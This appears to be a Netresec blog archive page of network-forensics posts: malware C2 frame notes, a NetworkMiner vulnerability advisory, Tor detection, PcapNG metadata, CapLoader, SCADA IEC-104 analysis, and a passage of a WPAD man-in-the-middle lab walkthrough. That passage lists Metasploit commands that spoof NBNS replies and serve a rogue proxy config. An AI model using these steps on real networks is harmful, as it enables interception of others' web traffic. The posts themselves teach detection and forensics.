804 Vawtrak.A Backdoor / Password Stealer downloaded from File details on VirusTotal or Anubis. MD5: 78a5f0bc44fa387310d6571ed752e217
862 HTTP POST to hxxp:// C2 communication by Trojan downloaded in frame 424
1042 TCP 16471 First of the TCP-based ZeroAccess C2 channels
1036 UDP 16471 First UDP packet with ZeroAccess C2 data
1041 UDP 16471 first UDP ZeroAccess successful reply

Posted by Erik Hjelmvik on Monday, 28 October 2013 22:15:00 (UTC/GMT)

Tags: #Netresec #PCAP #ZeroAccess #NetworkMinerCLI #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Security Advisory: Two Vulnerabilities in NetworkMiner

Security Advisory ID: NETRESEC-1386968

NetworkMiner version 1.4.1 and older is vulnerable to DLL hijacking and contains a directory traversal vulnerability.

NetworkMiner Logo


NetworkMiner is a tool designed for network forensics and network security monitoring. It is primarily used in order to analyze captured network traffic in PCAP files, but can also be used for live sniffing.

NetworkMiner uses Dynamically Linked Libraries (DLLs) for parts of its functionality. The location of these DLLs are not specified using a fully qualified path name, which makes the application vulnerable to DLL hijacking. The DLL hijacking can occur if NetworkMiner is used to open a pcap file from an attacker-controlled directory.

An important part of NetworkMiner's functionality is the ability to extract files from sniffed network traffic. NetworkMiner supports file extraction from protocols such as HTTP, FTP, TFTP, SMB, SMTP and the OSCAR protocol (used by AOL's ICQ and AIM). Files extracted from network traffic are written to a sub-directory of NetworkMiner called ”AssembledFiles”. However, due to a directory traversal vulnerability in NetworkMiner, a malicious PCAP file loaded by NetworkMiner can cause files to be written to directories other than ”AssembledFiles”.


Both vulnerabilities can allow an attacker to execute arbitrary code on the victim's machine. For an attack to be successful the victim must open a specially crafted malicious PCAP file or open a PCAP file from an insecure location.


These two vulnerabilities have been fixed in NetworkMiner 1.5 and NetworkMiner Professional 1.5.

Please visit our NetworkMiner page to download the latest free version of NetworkMiner:

Customers who have purchased a previous version of NetworkMiner Professional can download an update for free from our customer portal.

Credit Statement

We would like to thank Alyssa Milburn for reporting the directory traversal vulnerability and Ucha Gobejishvili for reporting the DLL hijacking vulnerability. We would also like to thank Jonas Lejon and Claus Valca for finding and reporting two bugs that now have been fixed in NetworkMiner 1.5.

External References

Posted by Erik Hjelmvik on Wednesday, 07 August 2013 18:55:00 (UTC/GMT)

Tags: #NetworkMiner #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Detecting TOR Communication in Network Traffic

The anonymity network Tor is often misused by hackers and criminals in order to remotely control hacked computers. In this blog post we explain why Tor is so well suited for such malicious purposes, but also how incident responders can detect Tor traffic in their networks.

Yellow onions with cross section. Photo taken by Andrew c

The privacy network Tor (originally short for The Onion Router) is often used by activists and whistleblowers, who wish to preserve their anonymity online. Tor is also used by citizens of countries with censored Internet (like in China, Saudi Arabia and Belarus), in order to evade the online censorship and surveillance systems. Authorities in repressive regimes are therefore actively trying to detect and block Tor traffic, which makes research on Tor protocol detection a sensitive subject.

Tor is, however, not only used for good; a great deal of the traffic in the Tor networks is in fact port scans, hacking attempts, exfiltration of stolen data and other forms of online criminality. Additionally, in December last year researchers at Rapid7 revealed a botnet called “SkyNet” that used Tor for its Command-and-Control (C2) communication. Here is what they wrote about the choice of running the C2 over Tor:

"Common botnets generally host their Command & Control (C&C) infrastructure on hacked, bought or rented servers, possibly registering domains to resolve the IP addresses of their servers. This approach exposes the botnet from being taken down or hijacked. The security industry generally will try to take the C&C servers offline and/or takeover the associated domains
What the Skynet botnet creator realized, is that he could build a much stronger infrastructure at no cost just by utilizing Tor as the internal communication protocol, and by using the Hidden Services functionality that Tor provides."

Tor disguised as HTTPS

Tor doesn't just provide encryption, it is also designed to look like normal HTTPS traffic. This makes Tor channels blend in quite well with normal web surfing traffic, which makes Tor communication difficult to identify even for experienced incident responders. As an example, here is how tshark interprets a Tor session to port TCP 443:

$ tshark -nr tbot_2E1814CCCF0.218EB916.pcap | head
1 0.000000 -> TCP 62 1565 > 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
2 0.126186 -> TCP 60 443 > 1565 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
3 0.126212 -> TCP 54 1565 > 443 [ACK] Seq=1 Ack=1 Win=64240 Len=0
4 0.127964 -> SSL 256 Client Hello
5 0.128304 -> TCP 60 443 > 1565 [ACK] Seq=1 Ack=203 Win=64240 Len=0
6 0.253035 -> TLSv1 990 Server Hello, Certificate, Server Key Exchange, Server Hello Done
7 0.259231 -> TLSv1 252 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
8 0.259408 -> TCP 60 443 > 1565 [ACK] Seq=937 Ack=401 Win=64240 Len=0
9 0.379712 -> TLSv1 113 Change Cipher Spec, Encrypted Handshake Message
10 0.380009 -> TLSv1 251 Encrypted Handshake Message

A Tor session to TCP port 443, decoded by tshark as if it was HTTPS

The thsark output above looks no different from when a real HTTPS session is being analyzed. So in order to detect Tor traffic one will need to apply some sort of traffic classification or application identification. However, most implementations for protocol identification rely on either port number inspection or protocol specification validation. But Tor often communicate over TCP 443 and it also follows the TLS protocol spec (RFC 2246), because of this most products for intrusion detection and deep packet inspection actually fail at identifying Tor traffic. A successful method for detecting Tor traffic is to instead utilize statistical analysis of the communication protocol in order to tell different SSL implementations apart. One of the very few tools that has support for protocol identification via statistical analysis is CapLoader.

CapLoader provides the ability to differentiate between different types of SSL traffic without relying on port numbers. This means that Tor sessions can easily be identified in a network full of HTTPS traffic.

Analyzing the tbot PCAPs from Contagio

@snowfl0w provides some nice analysis of the SkyNet botnet (a.k.a. Trojan.Tbot) at the Contagio malware dump, where she also provides PCAP files with the network traffic generated by the botnet.

The following six PCAP files are provided via Contagio:

  1. tbot_191B26BAFDF58397088C88A1B3BAC5A6.pcap (7.55 MB)
  2. tbot_23AAB9C1C462F3FDFDDD98181E963230.pcap (3.24 MB)
  3. tbot_2E1814CCCF0C3BB2CC32E0A0671C0891.pcap (4.08 MB)
  4. tbot_5375FB5E867680FFB8E72D29DB9ABBD5.pcap (5.19 MB)
  5. tbot_A0552D1BC1A4897141CFA56F75C04857.pcap (3.97 MB) [only outgoing packets]
  6. tbot_FC7C3E087789824F34A9309DA2388CE5.pcap (7.43 MB)

Unfortunately the file “tbot_A055[...]” only contains outgoing network traffic. This was likely caused by an incorrect sniffer setup, such as a misconfigured switch monitor port (aka SPAN port) or failure to capture the traffic from both monitor ports on a non-aggregating network tap (we recommend using aggregation taps in order to avoid these types of problems, see our sniffing tutorial for more details). The analysis provided here is therefore based on the other five pcap files provided by Contagio.

Here is a timeline with relative timestamps (the frame timestamps in the provided PCAP files were way of anyway, we noticed an offset of over 2 months!):

  • 0 seconds : Victim boots up and requests an IP via DHCP
  • 5 seconds : Victim perform a DNS query for
  • 6 seconds : Victim gets time via NTP
    ---{malware most likely gets executed here somewhere}---
  • 22 seconds : Victim performs DNS query for
  • 22 seconds : Victim gets its external IP via an HTTP GET request to
  • 23 seconds : Victim connects to the Tor network, typically on port TCP 9001 or 443
    ---{lots of Tor traffic from here on}---

This is what it looks like when one of the tbot pcap files has been loaded into CapLoader with the “Identify protocols” feature activated:
CapLoader detecting Tor protocol
CapLoader with protocol detection in action - see “TOR” in the “Sub_Protocol” column

Notice how the flows to TCP ports 80, 9101 and 443 are classified as Tor? The statistical method for protocol detection in CapLoader is so effective that CapLoader actually ignores port numbers altogether when identifying the protocol. The speed with which CapLoader parses PCAP files also enables analysis of very large capture files. A simple way to detect Tor traffic in large volumes of network traffic is therefore to load a capture file into CapLoader (with “Identify protocols” activated), sort the flows on the “Sub_Protocol” column, and scroll down to the flows classified as Tor protocol.

Beware of more Tor backdoors

Most companies and organizations allow traffic on TCP 443 to pass through their firewalls without content inspection. The privacy provided by Tor additionally makes it easy for a botnet herder to control infected machines without risking his identity to be revealed. These two factors make Tor a perfect fit for hackers and online criminals who need to control infected machines remotely.

Here is what Claudio Guarnieri says about the future use of Tor for botnets in his Rapid7 blog post:

“The most important factor is certainly the adoption of Tor as the main communication channel and the use of Hidden Services for protecting the backend infrastructure. While it’s surprising that not more botnets adopt the same design, we can likely expect more to follow the lead in the future.”

Incident responders will therefore need to learn how to detect Tor traffic in their networks, not just in order to deal with insiders or rogue users, but also in order to counter malware using it as part of their command-and-control infrastructure. However, as I've shown in this blog post, telling Tor apart from normal SSL traffic is difficult. But making use of statistical protocol detection, such as the Port Independent Protocol Identification (PIPI) feature provided with CapLoader, is in fact an effective method to detect Tor traffic in your networks.

Posted by Erik Hjelmvik on Saturday, 06 April 2013 20:55:00 (UTC/GMT)

Tags: #CapLoader #TOR #Protocol Identification #SSL #TLS #HTTPS #PCAP #PIPI

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Extracting Metadata from PcapNG files

Photo by Meighan O'Toole

In our blog post about the Chinese MITM of GitHub we revealed the identity of the anonymous capture file uploader by analyzing metadata available in the PCAP-NG file format. In this blog post we explain what type of meta-data that can be found in PcapNG files, and how to extract it.

The old libpcap format (a.k.a. PCAP) is designed to only store captured network frames. The new PCAP-NG format, however, additionally includes the ability to store meta-data in the capture files. In fact only about 20% of the PcapNG file specification concerns storage of captured frames, the remaining 80% is focused on various types of metadata.

So what types of metadata can a PcapNG file contain? Well, the spec allows features such as MAC address of capturing interface as well as interface speed (in bps) to be stored. But the most commonly used metadata types are:

  • Operating system of the sniffer machine
  • Software used to create the capture file (application name and version)
  • Name of interface from where packets are captured
  • Description of interface from where packets are captured
  • Capture filter used when sniffing packets
  • Cached name resolution entries (mappings from IPv4 or IPv6 addresses to host names)
  • User comments on individual frames (a.k.a. “annotations”),

Extracting Metadata

Some of these metadata types can be displayed in Wireshark by clicking “Statistics > Summary”. Here's the information provided when displaying a Summary in Wireshark on MachineB.pcapng from CloudShark:

Wireshark Summary of MachineB.pcapng

However, what is not shown in this summary view is that MachineB.pcapng additionally contains cached name resolution information for two machines. The easiest way to extract this extra metadata is to upload the capture file to, which will display a list of the metadata that was found in the uploaded file as well as convert the capture file to the old libpcap format (without metadata).

Here's the list of metadata information extracted from MachineB.pcapng by

Type Value
shb_os Windows Server 2003 Service Pack 2, build 3790
shb_userappl Dumpcap 1.8.4 (SVN Rev 46250 from /trunk-1.8)
if_name \Device\NPF_{D007FF28-3F24-4C1B-8EF5-069A6FB811ED}
if_tresol 0x06
if_os Windows Server 2003 Service Pack 2, build 3790
nres_ip6record fe80::9a03:d8ff:fedb:904b = iPhone-von-b1.local
nres_ip4record = iPhone-von-b1.local
nres_ip6record fe80::8685:6ff:fe23:c95d = iPhone-von-Gurkan.local
nres_ip4record = iPhone-von-Gurkan.local

The metadata apparently contains name resolution info for two iPhones, and we've got their internal IPv4 as well as IPv6 addresses. This would normally imply that the capture file contains frames to or from these IP addresses. However, as shown in the following screenshot from CloudShark, the capture file contains 21 frames but not a single one of them is from or to “iPhone-von-Gurkan” or “iPhone-von-b1”:

CloudShark's view of MachineB.pcapng

Thus, it seems as if the Wireshark pcap-ng host name disclosure bug wasn't fixed in Wireshark 1.8.4 after all.

Megecap Leaks File Paths

It is, however, not only Wireshark that might leak private information in PcapNG metadata. The command line tool Mergecap additionally stores the complete path and filename of the individual capture files that have been combined with the tool.

Type Value
opt_comment File created by merging: File1: /home/erik/captures/customer_X/capture_tap0_p5p1.cap File2: /home/erik/captures/customer_X/capture_tap1_p1p1.cap
shb_userappl mergecap
if_tresol 0x06

Metadata available in PcapNG file created with mergecap

This is most likely not a bug, but rather information leakage by design, so don't expect this to be mitigated in a future Mergecap release.


As we pointed out in our blog post “HowTo handle PcapNG files”, the best way to avoid information leakage via PcapNG files is to stay with the good ol' PCAP format by using the “-P” switch like this:

dumpcap -P -i eth0 -w dump.pcap

Another alternative is to convert your PcapNG files to PCAP format before sharing them.

Posted by Erik Hjelmvik on Thursday, 14 February 2013 19:25:00 (UTC/GMT)

Tags: #PcapNG #pcap-ng #PCAP #Extract

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Analyzing 85 GB of PCAP in 2 hours

Hadoop photo by Robert Scoble

Lets say you've collected around 100 GB of PCAP files in a network monitoring installation. How would you approach the task of looking at the application layer data of a few of the captured sessions or flows?

For much smaller datasets, in the order of 100 MB, one would typically load the PCAP into Wirehsark and perform ”Follow TCP Stream” on a few sessions to see what's going on. But loading gigabyte datasets into Wireshark doesn't scale very well, in fact Wireshark will typically run out of RAM and crash saying “Out Of Memory!” or just “Wireshark has stopped working”. Ulf Lamping explains why on the Wireshark Wiki:

“Wireshark uses memory to store packet meta data (e.g. conversation and fragmentation related data) and to display this info on the screen.
I need memory about ten times the actual capture file size”

The solution I'm proposing is to instead download the free version of CapLoader, load the PCAP files into CapLoader and perform ”Flow Transcript” on a few of the flows. So how long time would it take to do this on 100 GB of PCAP files? I did a quick test and loaded the 85 GB dataset from ISCX 2012 into CapLoader on an ordinary laptop computer. After just 1 hour 47 minutes all of the PCAP files from ISCX 2012 were loaded and indexed by CapLoader! Also, please note that datasets this large can be parsed in less than 30 minutes with a more powerful PC.

After having loaded all the PCAP files CapLoader presents a list of all the 2.066.653 indexed flows from the ISCX 2012 dataset. Right-clicking a UDP or TCP flow brings up a context menu that allows you to generate a “Flow Transcript”, this feature is basically the same thing as Wireshark's “Follow TCP Stream”.

Right-click a flow in CapLoader
CapLoader Flow Transcript
CapLoader's Flow Transcript View

You can, of course, always extract the frames from any flow directly to Wirehsark if you aren't ready to abandon Wireshark's Follow TCP Stream just yet. A flow is extracted simply by selecting a flow in the list and then doing drag-and-drop from CapLoader's PCAP icon (at the top right) onto Wireshark.

Drag-and-Drop from CapLoader to Wireshark
Wireshark follow TCP stream

The fact that CapLoader parses and indexes large PCAP files very fast and that the analyst is provided with powerful tools, like the Transcript feature, to look at the raw packet data makes it possible to perform big-data network traffic analysis using an ordinary PC. This means that you do NOT need to upload your network traffic to the Cloud, or build a 100-machine cluster, in order to let a Hadoop instance parse though your multi-gigabyte packet captures. All you need is an ordinary PC and a copy of CapLoader.

For more information about CapLoader please have a look at our blog post highliting the new features in version 1.1 of CapLoader or browse through all our blog posts about CapLoader.

This blog post makes use of the UNB ISCX 2012 Intrusion Detection Evaluation Dataset, which is created by Ali Shiravi, Hadi Shiravi, and Mahbod Tavallaee from University of New Brunswick

UPDATE 2016-05-23

With the release of CapLoader 1.4 it is now possible to perform flow transcripts not only from the Flows tab, but also from the Services and Hosts tab. In these cases the transcript will be that of the first flow of the selected service or host.

Posted by Erik Hjelmvik on Thursday, 24 January 2013 12:20:00 (UTC/GMT)

Tags: #CapLoader #PCAP #gigabyte #GB #Wireshark #Follow TCP Stream #transcript #Big Data

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

CapLoader 1.1 Released

CapLoader Logo Version 1.1 of the super-fast PCAP parsing tool CapLoader is being released today. CapLoader is the ideal tool for digging through large volumes of PCAP files. Datasets in the GB and even TB order can be loaded into CapLoader to produce a clear view of all TCP and UDP flows. CapLoader also provides instantaneous access to the raw packets of each flow, which makes it a perfect preloader tool in order to select and export interesting data to other tools like NetworkMiner or Wireshark.

Drag-and-Drop PCAP from CapLoader to Wirehsark
Five flows being extracted from's SOTM 28 to Wireshark with CapLoader

New functionality in version 1.1

New features in version 1.1 of CapLoader are:

  • PcapNG support
  • Fast transcript of TCP and UDP flows (similar to Wireshark's ”Follow TCP Stream”)
  • Better port agnostic protocol identification; more protocols and better precision (over 100 protocols and sub-protocols can now be identified, including Skype and the C&C protocol of Poison Ivy RAT)
  • A “Hosts” tab containing a list of all transmitting hosts and information about open ports, operating system as well as Geo-IP localization (using GeoLite data created by MaxMind)
  • Gzip compressed capture files can be opened directly with CapLoader
  • Pcap files can be loaded directly from an URL

CapLoader Flow Transcript aka Follow TCP Stream
Flow transcript of Honeynet SOTM 28 pcap file day3.log

Free Trial Version

Another thing that is completely new with version 1.1 of CapLoader is that we now provide a free trial version for download. The CapLoader trial is free to use for anyone and we don't even require trial users to register their email addresses when downloading the software.

There are, of course, a few limitations in the trial version; such as no protocol identification, OS fingerprinting or GeoIP localization. There is also a limit as to how many gigabyte of data that can be loaded with the CapLoader trial at a time. This size limit is 500 GB, which should by far exceed what can be loaded with competing commercial software like Cascade Pilot and NetWitness Investigator.

The professional edition of CapLoader doesn't have any max PCAP limit whatsoever, which allows for terabytes of capture files to be loaded.

CapLoader with TCP and UDP flows view
CapLoader's Flows view showing TCP and UDP flows

CapLoader with Hosts view
CapLoader's Hosts view showing identified hosts on the network

Getting CapLoader

The trial version of CapLoader can be downloaded from the CapLoader product page. The professional edition of CapLoader can be bought at our Purchase CapLoader page.

CapLoader USB flash drive
The CapLoader USB flash drive

Customers who have previously bought CapLoader 1.0 can upgrade to version 1.1 by downloading an update from our customer portal.

For more information about CapLoader please see our previous blog post Fast analysis of large pcap files with CapLoader

Posted by Erik Hjelmvik on Monday, 21 January 2013 11:45:00 (UTC/GMT)

Tags: #CapLoader #PcapNG #PCAP #GB #gigabyte #capture #flow #transcript #free

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

HowTo handle PcapNG files

Users of Wireshark 1.8.0 (or later) have most likely noticed that the default output file format has changed from libpcap (.pcap) to Pcap-NG (.pcapng). So what does this mean other than a longer file extension?

New Features in PcapNG

PcapNG is short for “PCAP Next Generation Dump File Format”. This new format isn't just an update of the old PCAP specification, but a total rewrite of the whole spec. Here are a few of the features that are available in the new PcapNG format:

  • Traffic captured from multiple interfaces can be stored in a single file. This even works when the interfaces have different data link types, such as Ethernet, 802.11 (WiFi) and PPP.
  • PcapNG trace files can be tagged with metadata info about what OS, hardware and sniffer application that was used to capture the traffic. Wireshark and dumpcap automatically tags generated PcapNG files this way.
  • There is a long list of metadata attributes that can be stored about each interface. This list includes attributes like interface name, dropped packets and used capture filter.
  • Text comments can be added and saved to individual frames. These comments, which are called “annotations”, are available in Wireshark and Tshark via the display filter named “pkt_comment”.

You can, for example, use tshark to list all annotations in a PcapNG file with the following command:

tshark -r dump.pcapng -T fields -e pkt_comment -R pkt_comment

You might also have seen improved timestamp resolution as a new feature of the PcapNG format. It is true that the PcapNG format allows for more precise timestamps compared to the microsecond resolution provided by the old PCAP format. This does, however, not mean that you will get nanosecond resolution in your capture files just because you switch to the PcapNG format. The default timestamp resolution in PcapNG files is still microseconds, and tools like Wireshark and dumpcap additionally only get microsecond resolution timestamps from the library they rely on for packet capturing (i.e. libpcap or WinPcap).

Compatibility Issues

Many tools are not yet able to load PcapNG files, instead they'll spit out error messages like “bad dump file format”. These error messages typically appear when a tool parses PCAP files with help of a libpcap version prior to 1.1.0 (you can find the error message in savefile.c from early 2010). If you instead load a PcapNG file into NetworkMiner you'll currently get the following error message:
NetworkMiner 1.4.1 with error message: Error opening pcap file: The stream is not a PCAP file. Magic number is A0D0D0A or A0D0D0A but should be A1B2C3D4.
NetworkMiner 1.4.1 with error message while trying to open a PcapNG file

Convert PcapNG to PCAP

Convert PcapNG to PCAP

If you end up with a capture file in the PcapNG format, which you need to parse with a tool that does not yet support the “NG” format, then you'll have to convert it to the legacy PCAP format. You can use editcap to do the conversion like this:

editcap -F libpcap dump.pcapng dump.pcap
However, if the PcapNG file contains traffic from multiple interfaces with different data link types then you'll get an error message saying:
editcap: Can't open or create dump.pcap: That file format doesn't support per-packet encapsulations

One way to convert such multi-encapsulation PcapNG files back to PCAP format is to first split the capture file into multiple PcapNG files, by using the display filters “frame.interface_id” or “frame.dlt”, and then convert each individual PcapNG file back to PCAP using editcap.

Another option is to submit your PcapNG file to the conversion service provided at This free service only lets you convert file sizes up to 1MB, but it's really easy to use and you don't need to sign up or register to use it. Just choose a file and press “Convert to PCAP”, the site will then provide you with PCAP formatted capture files for each interface.

Sniff to PCAP

If you want to avoid conversion issues altogether then it's probably safest to stay with the good ol' PCAP format. But since dumpcap defaults to PcapNG nowadays you'll have to tell it to use the legacy PCAP format with the “-P” switch like this:

dumpcap -P -i eth0 -w dump.pcap

Posted by Erik Hjelmvik on Wednesday, 05 December 2012 12:15:00 (UTC/GMT)

Tags: #PcapNG #PCAP #convert #editcap #tshark #NetworkMiner #dumpcap

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Convert Endace ERF capture files to PCAP

Chili Time

A customer recently contacted us because he wanted to load ERF capture files from their Endace probes into NetworkMiner Professional. In order to do so they would first need to convert the ERF file into the libpcap format. The obvious solution is to use editcap and specify the output capture type with “-F libpcap”. However, it turns out that by doing so the captured data in each frame will still be preceded by an ERF header. This causes a problem for tools that handle pcap files but do not have a parser for the ERF header format.

The Solution

In order to convert capture files from the ERF format into PCAP without any ERF headers you need to specify not only the capture type but also the encapsulation type of the data inside the ERF headers. One way to see what encapsulation type to use is to run the Protocol Hierarchy Statistics (PHS) function in tshark. Here is what the PHS look like on the publicly available capture file erf-ethernet-example.erf:

tshark -r erf-ethernet-example.erf -q -z io,phs

Protocol Hierarchy Statistics

erfframes:19 bytes:7269
 ethframes:19 bytes:7269
  ipframes:19 bytes:7269
   tcpframes:19 bytes:7269
    httpframes:4 bytes:2077
     image-gifframes:2 bytes:655
      tcp.segmentsframes:2 bytes:655

The PHS output show that every ERF frame contains an Ethernet frame (eth). We can therefore specify the output filetype to be libpcap and encapsulation type to be and Ethernet like this:

editcap -F libpcap -T ether erf-ethernet-example.erf erf-ethernet-example.pcap

Let's check the PHS for the pcap file we've now generated:

tshark -q -z io,phs -r erf-ethernet-example.pcap

Protocol Hierarchy Statistics

 ethframes:19 bytes:7269
  ipframes:19 bytes:7269
   tcpframes:19 bytes:7269
    httpframes:4 bytes:2077
     image-gifframes:2 bytes:655
      tcp.segmentsframes:2 bytes:655

Success! All ERF headers are now gone and the output pcap file contains plain old Ethernet frames. You can now open the pcap in NetworkMiner or whichever pcap parsing tool you wish.

NetworkMiner with erf-ethernet-example.pcap loaded

NetworkMiner with erf-ethernet-example.pcap loaded

UPDATE 2014-03-17

Another way to convert an ERF file to the PCAP or PcapNG format is to carve packets from the ERF file with CapLoader.

Posted by Erik Hjelmvik on Thursday, 22 November 2012 13:11:00 (UTC/GMT)

Tags: #PCAP #editcap #tshark #convert

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

SCADA Network Forensics with IEC-104


A great way to enable digital forensics of control system networks is to implement network security monitoring. Captured network traffic is a great source for evidence when analyzing an attackers steps as he attempts to hack a SCADA system. The newly added support for the IEC-104 protocol in NetworkMiner also allows investigators and incident responders to see what commands the attacker sent to the control system.

We at Netresec recently announced the release of NetworkMiner 1.4, which comes with a parser for the SCADA protocol IEC 60870-5-104 (aka IEC-104). Bringing this Industrial Control System (ICS) protocol into NetworkMiner is a first step to support forensics of compromised ICS networks. The traffic from ICS networks does, of course, need to be captured (sniffed) in order to support network forensics; we are strong supporters of such network monitoring for ICS networks (read our “Monitor those Control System Networks” blog post for more details).

Why monitor ICS networks?

Computer forensics typically involves performing forensic analysis of hard disks. Disk forensics is very effective when analyzing a hard drive from a PC (like an operator workstation), but far more complicated when it is an embedded device like a PLC or RTU that is to be analyzed.

In regard to what was believed to be a hacked SCADA system at a water facility in Illinois, David Marcus from McAfee said:

“My gut tells me that there is greater targeting and wider compromise than we know about. Why? Again, my instincts tell me that there is a lack of cyber forensics and response procedures at most of these facilities. If you do not have cyber forensic capabilities, it is hard to know if you have a cyber intrusion.”

Even though the hack was later shown to just be just a false alarm, David’s point about lacking capabilities for digital forensics and incident response for this type of critical infrastructure still holds true.

Joe Weiss also commented on the same story saying:

“We don't know how many other SCADA systems have been compromised because they don't really have cyber forensics.”

As Joe and David say, the ability to perform digital forensics in SCADA systems is truly lacking today. Our propose with this blog post is to inform control system operators that forensic data/evidence can be easily collected from ICS / SCADA systems by implementing a simple solution for network monitoring with full packet capture.

How to monitor ICS networks

The SCADA network diagram below has been sectioned into multiple security zones according to the zoning principle published by Jens Z, Iiro and me at CIRED 2009 (our zones align nicely with ISA-99 security Levels by the way).

SCADA Network with security zones

The purple octagons represent interconnections between zones. Each such interconnection should be secured with perimeter protection, typically by a firewall, but we additionally argue that all network traffic passing through should be captured and stored as pcap files. Storing all network traffic this way makes it possible to perform network forensics on the network traffic after an intrusion is believed to have taken place.

We recommend a very simple setup, where a network tap is used to provide a copy of all traffic to a sniffer. An acceptable alternative to buying a network tap is to configure a monitor / SPAN port on a switch (see our sniffing tutorial “Intercepting Network Traffic” for more details on how to choose sniffing hardware).

Connection of network tap and sniffer

Our recommended solution for the sniffer is to install FreeBSD with dumpcap (part of the net/tshark ports package). An even easier solution is to install Doug BurksSecurity Onion, which is a Linux distro built especially for network security monitoring. More about configuring a sniffer can be found in our second sniffing tutorial titled “Dumping Network Traffic to Disk”.

Analyzing captured IEC 104 traffic

Let’s assume the file 090813_diverse.pcap from pcapr contains network traffic from a suspected security breach at a hydro-power plant. Let’s also assume that parameter 4821 (i.e. IOA 4821 in IEC-104 language) controls the floodgates of the plant’s dam, where setting a value greater than 0% for this parameter would mean opening the floodgates.

By loading the pcap file into NetworkMiner and selecting the “parameters” tab we can see a nice log of all IEC-104 communication.

NetworkMiner 1.4.1 with Parameters tab

NOTE: We’ve hidden several fields (like IP, port, time etc) in the screenshot above in order to make it fit.

The following timeline can be extracted from the list of events provided by NetworkMiner:

  • Frame 154 - The attacker sends command to set IOA 4821 to 50.354%
  • Frame 156 - The RTU confirms the request
  • Frame 162 - The RTU reports that the requested command has been successfully completed, i.e. floodgates are now open!

Open dam gates by David Baird

More ICS protocols

Would you like to see more ICS protocols in NetworkMiner? We’d be happy to implement protocols like DNP3, MODBUS, ICCP, Siemens S7, IEC 61850, etc. if you can provide us with captured network traffic! Please send an email to info[at] if you are interested!

Posted by Erik Hjelmvik on Thursday, 30 August 2012 12:03:00 (UTC/GMT)

Tags: #Forensics #ICS #SCADA #control system #Network #Sniff #Capture #Monitor #pcap

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

WPAD Man in the Middle


Metasploit was recently updated with a module to generate a wpad.dat file for WPAD man-in-the-middle (MITM) attacks. This blog post explains how this attack works and how to investigate such an attack by analyzing captured network traffic.

Windows' WPAD feature has for many years provided attackers and penetration testers a simple way to perform MITM attacks on web traffic. There is, for example, a great blog post by Tod Beardsley called "MS09-008: Web Proxy Auto-Discovery (WPAD), Illustrated" that highlights the problems with WPAD. Now finally, roughly 10 years after WPAD was introduced, the penetration testing framework Metasploit includes support for WPAD via a new auxiliary module located at "auxiliary/server/wpad". This module, which is written by Efrain Torres, can be used to perform for man-in-the-middle (MITM) attacks by exploiting the features of WPAD.

What is WPAD?

WPAD is short for "Web Proxy Autodiscovery Protocol", and is a method for Windows machines to detect which machine to use as proxy for HTTP(S) traffic.

The process of finding a web proxy with WPAD basically works like this:

  1. Did I receive a WPAD entry in my DHCP lease?
    If yes, then jump to #4.
  2. Ask the DNS server who is called "wpad" (or wpad.[]).
    Jump to #4 if a the lookup was successful.
  3. Broadcast a NetBIOS Name Service message and ask for "WPAD".
    Continue to #4 if anyone on the network claims to be called "WPAD", otherwise don't use any web proxy.
  4. Download the file hxxp://wpad/wpad.dat
  5. Use IP address defined in wpad.dat as the web proxy for all HTTP and HTTPS web traffic.

This process is clearly vulnerable to DHCP spoofing (step #1) and DNS poisoning (step #2). But an even easier solution is to set up a computer with hostname "WPAD" where a file called "wpad.dat" is served via HTTP on port 80, which apparently is what Metasploit's egyp7 has done on his travel laptop.

Exploiting the WPAD vulnerability

I've set up a lab network to look closer at a WPAD MITM attack from a network security monitoring (NSM) perspective.

WPAD lab network setup

The attacker and the victim are in this scenario connected to the same LAN, which is a typical situation when connecting to networks at airports, conferences or hotels. All traffic from the local network is also captured by a sniffer via a monitor/SPAN port.

The attacker machine is running Backtrack Linux, which contains Metasploit as well as Burp Suite.

The following steps are carried out in order to mount the attack:

  1. Update Metasploit to the latest version, which contains the WPAD module
  2. Start Metasploit's command line tool msfconsole
  3. Spoof NetBIOS Name Service (NBNS) responses for "WPAD"
  4. Set up the WPAD module to fool clients into using the attacker machine as web proxy

root@bt:~# msfupdate [*]
[*] Attempting to update the Metasploit Framework...

...some time later...
Updated to revision 15622
root@bt:~# msfconsole

       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 901 exploits - 491 auxiliary - 150 post
+ -- --=[ 250 payloads - 28 encoders - 8 nops
       =[ svn r15622 updated yesterday (2012.07.12)

msf > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set regex WPAD
regex => WPAD
msf auxiliary(nbns_response) > set spoofip
spoofip =>
msf auxiliary(nbns_response) > run
[*] Auxiliary module execution completed
[*] NBNS Spoofer started. Listening for NBNS requests...

msf > use auxiliary/server/wpad
sf auxiliary(wpad) > set proxy
proxy =>
msf auxiliary(wpad) > run

Clients on the local network with Web Proxy Autodiscovery configured will now try to use the attacker's machine as proxy for HTTP and HTTPS traffic. The attacker will therefore run Burp to proxy all outgoing web traffic via TCP port 8080.

This is what the attacker sees when the victim machine boots up and attempts to access

msf auxiliary(wpad) >
[*] wpad - Request 'GET Microsoft SUS Client/2.0
[*] wpad - Sending WPAD config ...

The attacker can at this point monitor all web traffic to/from the victim machine. He also has full control over the traffic and can modify the outgoing requests as well as responses. Using WPAD to perform such a MITM attack on Windows Update is actually exactly what the Flame malware did.

Analyzing the attack

Being able to access archived full content network traffic when analyzing an incident is a gold mine if you are doing network forensics (see our sniffing tutorial part 1 and part 2 for more details on how to set up your sniffer). I will in this scenario look at the network traffic captured by the sniffer via a SPAN port.

A good first step in the analysis is to look at the TCP and UDP flows from the captured traffic, preferably by loading the captured "WPAD.pcap" into CapLoader.

CapLoader showinf WPAD related flows

These flows can be used to build a rough timeline of the events:

  • Flow #2 – The victim ( queries the local DNS server for "wpad"
  • Flow #3 – The victim sends out a broadcast NBNS message on the local network, asking for "WPAD"
